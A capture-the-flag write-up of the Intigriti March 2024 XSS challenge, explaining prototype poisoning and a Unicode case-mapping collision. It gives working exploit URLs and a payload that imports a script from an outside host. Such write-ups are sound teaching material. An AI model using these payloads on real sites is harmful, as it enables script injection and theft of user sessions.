# 0324: Contact Form

| Name                                                                    | Authors                                  | Category                                                 |
| ----------------------------------------------------------------------- | ---------------------------------------- | -------------------------------------------------------- |
| [Intigriti March Challenge (2024)](https://challenge-0324.intigriti.io) | [m0z](https://twitter.com/LooseSecurity) | XSS, Prototype Poisoning, Unicode Case Mapping Collision |

## Video Walkthrough

[![VIDEO](https://img.youtube.com/vi/Sk4RGRqDN5Y/0.jpg)](https://www.youtube.com/watch?v=Sk4RGRqDN5Y)

## Challenge Description

> Find a way to execute an alert(1337) utilising XSS on the challenge page and win Intigriti swag.

## Useful Resources

* [XSS cheatsheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
* [Prototype pollution](https://portswigger.net/web-security/prototype-pollution)
* [Prototype poisoning](https://www.jerkeby.se/newsletter/posts/prototype-poisoning/)
* [Unicode injection](https://book.hacktricks.xyz/pentesting-web/unicode-injection)
* [Weaponizing unicode (case mapping collision)](https://medium.com/csg-govtech/weaponizing-unicode-for-fun-and-profit-e2ce24d594c6)

## Solution

### XSS

Reviewing `index.html`, we have a basic contact info form. If we check the source, there's some JS. Starting with a `runCmdToken` function.

```js
function runCmdToken(cmd) {
    if (!user["token"] || user["token"].length != 32) {
        return;
    }
    var str = `${user["token"]}${cmd}(hash)`.toLowerCase();
    var hash = str.slice(0, 32);
    var cmd = str.slice(32);
    eval(cmd);
}
```

The `eval` function will execute the `cmd`, but there are a few steps/conditions. The user `token` must be 32 characters long, and then a string will be compiled. The `hash` and `cmd` are sliced from the string, and the resulting command will be evaluated.

Before reviewing the rest of the code, let's see what this looks like in a debugger. I set a breakpoint at line 49, entered the token `cat`, and clicked "input" and then "info."

`str`: `5eca9bd3eb07c006cd43ae48dfde7fd3alert(hash)` `hash`: `d077f244def8a70e5ea758bd8352fcd8` `cmd`: `alert(hash)`

An alert pops with the hash! Wow, look at that.. We're already halfway there and haven't done anything yet 😆 All we need to do is replace that hash with `1337`. How might we go about it?

We can't modify the token value directly because the following function is hashing our input.

```js
if (tokenParam) {
    handleInputToken(tokenParam);
}

function handleInputToken(inp) {
    var hash = CryptoJS.MD5(inp).toString();
    user["token"] = `${hash}`;
}
```

### Prototype Poisoning

We've tested the "set token" form, but what's the "contact info" form doing?

```js
function handleInputName(name, contact, value) {
    user[name] = { [contact]: value };
}

const urlParams = new URLSearchParams(window.location.search);

const nameParam = urlParams.get("setName");
const contactParam = urlParams.get("setContact");
const valueParam = urlParams.get("setValue");
const tokenParam = urlParams.get("setToken");
const runContactInfo = urlParams.get("runContactInfo");
const runTokenInfo = urlParams.get("runTokenInfo");

if (nameParam && contactParam && valueParam) {
    handleInputName(nameParam, contactParam, valueParam);
}
```

The `nameParam`, `contactParam`, and `valueParam` are passed to the `handleInputName` function. Let's say we provide `cat`, `email`, and `crypto@cat`, the result will look like this:

```json
user['cat'] = {'email': 'crypto@cat'}
```

There's a [prototype poisoning](https://www.jerkeby.se/newsletter/posts/prototype-poisoning/) vulnerability here since user-controllable properties are being merged into an existing object, without first sanitising the keys. The vulnerability is similar to [prototype pollution](https://portswigger.net/web-security/prototype-pollution), but there is a crucial distinction.

> Prototype poisoning is distinguished from pollution by the limitation that the parent object prototypes are immutable. The attacker can only affect the input object and children that inherit its prototype. Therefore the availability, attack methodology and impact are different. Prototype inheritance is an unavoidable JavaScript functionality.

If we now provide `__proto__`, `token` and `1337` as our "set contact info" values, the resulting `user` object will be poisoned.

```json
user['__proto__'] = {'token': '1337'}
```

Checking the console, `user.token` is now set to `1337` (Note that `token` is undefined since this is *poisoning*, not *pollution*)! The alert doesn't pop, though. Rechecking the source, we see the condition for `runCmdToken`.

```js
if (runTokenInfo) {
    runCmdToken("alert");
}
```

So let's try <https://challenge-0324.intigriti.io/challenge/index.html?setName=**proto**\\&setContact=token\\&setValue=1337\\&runTokenInfo=1>

It still doesn't pop, but remember this other condition?

```js
if (!user["token"] || user["token"].length != 32) {
    return;
}
```

Let's try a 32-character token: <https://challenge-0324.intigriti.io/challenge/index.html?setName=**proto**\\&setContact=token\\&setValue=13371337133713371337133713371337\\&runTokenInfo=1>

The alert pops with `13371337133713371337133713371337`. Many players opted to use [null chars, spaces, tabs, etc](https://gist.github.com/Siss3l/9a4cf794b9303ad261370263518440d2#unintended-solution) to make it *look* like the correct payload, but this was rejected as an invalid solution - we need `^1337$` 😁

### Client-side Overflow (Unicode Collision)

There is a problem with the use of `toLowerCase()` in the following line.

```js
var str = `${user["token"]}${cmd}(hash)`.toLowerCase();
```

The second example from [this article](https://medium.com/csg-govtech/weaponizing-unicode-for-fun-and-profit-e2ce24d594c6) describes the issue.

> Some Unicode characters are vulnerable to *Case Mapping Collisions*, when two *different* characters are uppercased or lowercased into the same character

They provide a simple PoC that you can test for yourself in the browser console.

```js
"ß".toUpperCase() == "SS";
true;
```

The PoC is a good starting point, but notice it is for `toUpperCase()`; our challenge uses `toLowerCase()`.

```js
"ß".toLowerCase();
("ß");
```

So, we need to find some other Unicode character for our case mapping collision attack, e.g.

```js
"İ".toLowerCase();
("i̇");
```

Notice that if we convert `İ` to hex, [it is 2 bytes](https://gchq.github.io/CyberChef/#recipe=To_Hex\('Space',0\)\&input=xLA).

```bash
c4 b0
```

Whereas, if we convert `i` to hex, [it is 1 byte](https://gchq.github.io/CyberChef/#recipe=To_Hex\('Space',0\)\&input=aQ).

```bash
69
```

Therefore, if we supply `(16 * İ) + 16 char payload`, it will pass the initial length checks since it's 32 characters.

However, once it's converted to lowercase, it will become a 48-byte string: `(32 * i) + 16 char payload`.

The next lines will separate the values using a `slice` operation. The `iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii` will land in the `hash` variable, and our 16-byte XSS payload will end up in the `cmd` variable.

However, our payload is only 11 characters.

```js
alert(1337);
```

Since `16` + `11` = `27`, it's not the `32` character token we need 🤔

No worries! We can add some padding by inserting a comment at the end 😏

```js
alert(1337); //cat
```

Putting everything together, we have the following payload <https://challenge-0324.intigriti.io/challenge/index.html?setName=**proto**\\&setContact=token\\&setValue=İİİİİİİİİİİİİİİİalert(1337)//cat\\&runTokenInfo=1> which triggers our intended `alert(1337)` 😎

## Unintended / Interesting Solutions

### Fuzzing Unicode Characters

Some players used a script to find valid Unicode chars, e.g., here's one from [ZePacifist](https://twitter.com/ZePacifist)

```js
for (let i = 0; i < 1000000; ++i) {
    const c = String.fromCodePoint(i);
    const c_upper = c.toLowerCase();
    if (c.length != c_upper.length) {
        console.log(`${i} - "${c}".toLowerCase() => "${c_upper}"`);
    }
}
```

Note that there is only a single result.

```js
304 - "İ".toLowerCase() => "i̇"
```

### Arbitrary JS Execution

The monthly challenge usually requires players to execute arbitrary JS, proved with `alert(document.domain)`. The goal was set at `alert(1337)` in this case due to the length restrictions on the payload. However, several players did find their way around this!

Here's an example from [mysterican](https://twitter.com/mystiz613)

```js
İİİİİİİİİİİİİİİİimport(/\\Ǌ.₨/);
```

The payload imports a script from `nj.rs`, which triggers the alert.

```js
javascript: alert(document.domain), 1;
```

## Community Writeups

1. [j0r1an](https://jorianwoltjer.com/blog/p/hacking/intigriti-xss-challenge/intigriti-march-xss-challenge-0324)
2. [0xalessandro](https://0xalessandro.notion.site/INTIGRITI-0324-c9ffd2e96bb94b9c832bc54e9de7f296)
3. [smickovskid](https://damjan-smickovski.dev/blog/intigriti_challenge_0324_writeup)
4. [siss3l](https://gist.github.com/Siss3l/9a4cf794b9303ad261370263518440d2)
5. [ivarsVids](https://medium.com/@ivars.vids/challenge-0324-intigriti-io-writeup-4ac45229ea4a)
6. [z4ki](https://z4ki-blog.vercel.app/blog/intigriti-monthly/challenge-0324)
